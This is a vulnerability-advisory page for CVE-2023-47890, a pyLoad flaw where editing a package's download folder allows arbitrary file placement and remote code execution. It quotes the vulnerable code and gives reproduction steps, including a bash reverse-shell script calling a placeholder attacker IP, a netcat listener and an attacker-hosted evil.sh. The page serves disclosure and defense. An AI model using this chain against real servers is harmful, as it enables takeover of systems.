CVE-2023-47890High· 7.6▾ TwilightDownload to arbitrary folder can lead to RCE
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 41.8 · likelihood 0.2 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
1.1%
A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.
When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.
src/pyload/core/api/init.py::add_package::L432
folder = (
folder.replace("http://", "")
.replace("https://", "")
.replace(":", "")
.replace("/", "_")
.replace("\\", "_")
)
So if a package were created with the name "../" the application would instead create the folder "/downloads/.._/"
However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.
src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195
id = int(flask.request.form["pack_id"])
data = {
"name": flask.request.form["pack_name"],
"_folder": flask.request.form["pack_folder"],
"password": flask.request.form["pack_pws"],
}
api.set_package_data(id, data)
It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1
sudo python3 -m http.server 80
nc -vklp 9999
Change pyLoad file permission settings
Change permissions of downloads: On Permission mode for downloaded files: 0744
Create a package with link pointing to the attacker
http://<attacker_ip>/evil.sh
Edit package and change folder to /config/scripts/package_deleted/
Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad
Delete any package package to trigger the script
An authenticated user can gain control over the underlying pyLoad server.
pyload-ng < 0.5.0b3.dev75Upgrade to a patched release:
pyload-ng 0.5.0b3.dev75Connected by shared product, vendor, weakness, or advisory.
CVE-2024-22416Critical· 9.6Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation
CVE-2025-54802Critical· 9.8pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)
CVE-2026-45306Medium· 6.5pyLoad Has Incomplete Fix for CVE-2026-33509 -storage_folder Bypass via Session Directory in pyLoad
CVE-2026-35463High· 8.8pyLoad: Improper Neutralization of Special Elements used in an OS Command
CVE-2026-40071Medium· 5.4pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions
CVE-2026-45348High· 8.7pyLoad is vulnerable to stored XSS in Downloads view via unsanitized link URL in packages.js template literal